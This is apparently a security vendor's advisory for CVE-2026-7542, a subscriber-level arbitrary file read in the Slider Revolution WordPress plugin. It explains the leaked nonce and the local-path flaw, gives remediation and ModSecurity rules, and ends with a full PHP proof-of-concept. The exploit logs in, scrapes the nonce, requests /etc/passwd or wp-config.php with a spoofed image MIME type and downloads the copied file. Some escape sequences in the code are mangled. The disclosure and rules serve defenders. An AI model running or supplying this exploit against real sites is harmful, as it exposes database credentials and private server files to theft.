Atomic Edge analysis of CVE-2026-7542 (metadata-based): This vulnerability in Slider Revolution versions up to 7.0.10 allows authenticated attackers with Subscriber-level access to read arbitrary server files. The CVSS score is 6.5 with a confidentiality impact of HIGH. No authentication bypass or user interaction is required beyond having a valid account.
The root cause involves three distinct design flaws working together. First, the plugin leaks a valid AJAX nonce to all authenticated users via the admin_footer hook. This nonce grants access to the revslider_actions AJAX handler. Second, the plugin explicitly allowlists the wordpress.create.image_from_url action in a $user_allowed array, which overrides an intended administrator-only access control. These conclusions are inferred from the CWE classification (CWE-200: Exposure of Sensitive Information) and the detailed vulnerability description. Third, the create_wordpress_image_from_url() function accepts attacker-controlled url and content_type parameters. The description confirms the function calls import_media() which uses path_or_url_exists() that accepts local filesystem paths via file_exists() && is_readable(), then uses @copy() to move the file to /wp-content/uploads/revslider/ai/. The MIME type check trusts the attacker-supplied content_type parameter without verifying actual file content. The source extension blacklist fails to block numerous sensitive file types.
Exploitation requires an authenticated WordPress session with Subscriber-level access or higher. The attacker first obtains the AJAX nonce by visiting any WordPress admin page where the admin_footer hook fires. The nonce is present in an HTML attribute or script variable. The attacker then sends a POST request to /wp-admin/admin-ajax.php with action=revslider_actions, the leaked nonce, a sub_action parameter set to wordpress.create.image_from_url, a url parameter pointing to a local file (e.g., ../../../wp-config.php or an absolute path like /etc/passwd), and a content_type parameter set to image/png to satisfy the MIME check. The plugin copies the file to a publicly accessible URL. The attacker can then retrieve the file contents by making a GET request to the predictable path in wp-content/uploads/revslider/ai/.
Remediation requires three distinct fixes. The plugin must not expose the AJAX nonce to unauthorized users on the admin_footer hook. The $user_allowed array must be removed or restricted to administrator-only actions. The create_wordpress_image_from_url() function must validate that the url parameter points to a valid remote HTTP/HTTPS resource, not a local filesystem path. The function should also verify the actual file content against the claimed MIME type rather than trusting the content_type parameter. The source extension blacklist should be comprehensive, or better yet, the function should use an allowlist of permitted extensions rather than a blacklist.
The impact is severe. An authenticated attacker can read any file on the server that the web server user has read access to, as long as the file extension is not blacklisted. This includes WordPress configuration files (wp-config.php), database backup files (.sql, .db), log files (.log), SSL certificates and keys (.pem, .key, .crt), and other sensitive data. The copied files are placed in a publicly accessible directory, making them available to anyone who knows the URL, not just the authenticated attacker. This could lead to full site compromise if the attacker reads database credentials from wp-config.php and gains direct database access.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-7542 (metadata-based)
# Blocks exploitation of Slider Revolution sensitive information disclosure via AJAX
# Blocks the nonce-less or nonce-bypassed request to revslider_actions with wordpress.create.image_from_url sub_action
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20267542,phase:2,deny,status:403,chain,msg:'CVE-2026-7542 Slider Revolution File Disclosure',severity:'CRITICAL',tag:'CVE-2026-7542'"
SecRule ARGS_POST:action "@streq revslider_actions" "chain"
SecRule ARGS_POST:sub_action "@streq wordpress.create.image_from_url" "chain"
SecRule ARGS_POST:url "@rx ^(file://|/|[a-zA-Z]:[\/])" "t:none"
# Alternate rule: block based on url parameter containing local path patterns
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20267543,phase:2,deny,status:403,chain,msg:'CVE-2026-7542 Slider Revolution File Disclosure (alternative)',severity:'CRITICAL',tag:'CVE-2026-7542'"
SecRule ARGS_POST:action "@streq revslider_actions" "chain"
SecRule ARGS_POST:sub_action "@streq wordpress.create.image_from_url" "chain"
SecRule ARGS_POST:content_type "@rx ^image/" "t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-7542 - Slider Revolution <= 7.0.10 - Authenticated (Subscriber+) Sensitive Information Disclosure
// This PoC requires a valid WordPress user session with Subscriber-level access or higher.
// It demonstrates reading local server files by exploiting the AJAX handler that copies
// files to a publicly accessible directory.
// Configuration - set these variables
$target_url = 'http://example.com'; // Target WordPress site URL (no trailing slash)
$username = 'subscriber_user';
$password = 'subscriber_password';
$file_to_read = '/etc/passwd'; // Local file path on the server
// Alternatively, use a relative path: '../../../wp-config.php'
// Step 1: Authenticate and get WordPress cookies
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'rememberme' => 'forever',
'wp-submit' => 'Log In',
'testcookie' => '1',
'redirect_to' => $target_url . '/wp-admin/'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies_cve7542.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code !== 200) {
die("Authentication failed. HTTP code: $http_coden");
}
echo "[*] Authenticated successfully.n";
// Step 2: Visit admin page to extract the revslider_actions AJAX nonce
// The nonce is leaked via admin_footer hook - check common locations:
// - In a script tag with variable containing nonce
// - In a data attribute on an element
$admin_url = $target_url . '/wp-admin/admin.php?page=revslider'; // Or any admin page
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies_cve7542.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$admin_page = curl_exec($ch);
curl_close($ch);
// Try to extract the nonce from various patterns
// Pattern 1: var revslider_ajax_nonce = '...';
preg_match("/revslider_ajax_nonces*=s*'([^']+)'/", $admin_page, $matches);
if (empty($matches)) {
// Pattern 2: data-nonce="..."
preg_match('/data-nonce="([^"]+)"/', $admin_page, $matches);
}
if (empty($matches)) {
// Pattern 3: var ajaxNonce = '...';
preg_match("/ajaxNonces*=s*'([^']+)'/", $admin_page, $matches);
}
if (empty($matches)) {
die("Could not extract AJAX nonce. The plugin may be patched or nonce is in a different location.n");
}
$nonce = $matches[1];
echo "[*] Extracted AJAX nonce: $noncen";
// Step 3: Exploit the file copy vulnerability
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$post_data = array(
'action' => 'revslider_actions',
'nonce' => $nonce,
'sub_action' => 'wordpress.create.image_from_url',
'url' => $file_to_read, // Local file path
'content_type' => 'image/png' // Satisfy the MIME type check
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies_cve7542.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$ajax_response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code !== 200) {
die("AJAX request failed with HTTP code: $http_coden");
}
$response_data = json_decode($ajax_response, true);
if (!$response_data || !isset($response_data['filename'])) {
echo "[*] AJAX response (raw): $ajax_responsen";
die("Failed to get filename from response. The file may have been blocked or the request failed.n");
}
$filename = basename($response_data['filename']);
echo "[*] File copied to uploads directory with name: $filenamen";
// Step 4: Retrieve the copied file (publicly accessible)
$download_url = $target_url . '/wp-content/uploads/revslider/ai/' . $filename;
echo "[*] Downloading file from: $download_urln";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $download_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$file_contents = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code === 200) {
echo "[*] Successfully retrieved file contents:n";
echo "--- BEGIN FILE ---n";
echo $file_contents;
echo "n--- END FILE ---n";
} else {
echo "[!] Failed to retrieve file. HTTP code: $http_coden";
echo "[!] Check if the file extension is blacklisted or the path is incorrect.n";
}
// Clean up cookies file
unlink('/tmp/cookies_cve7542.txt');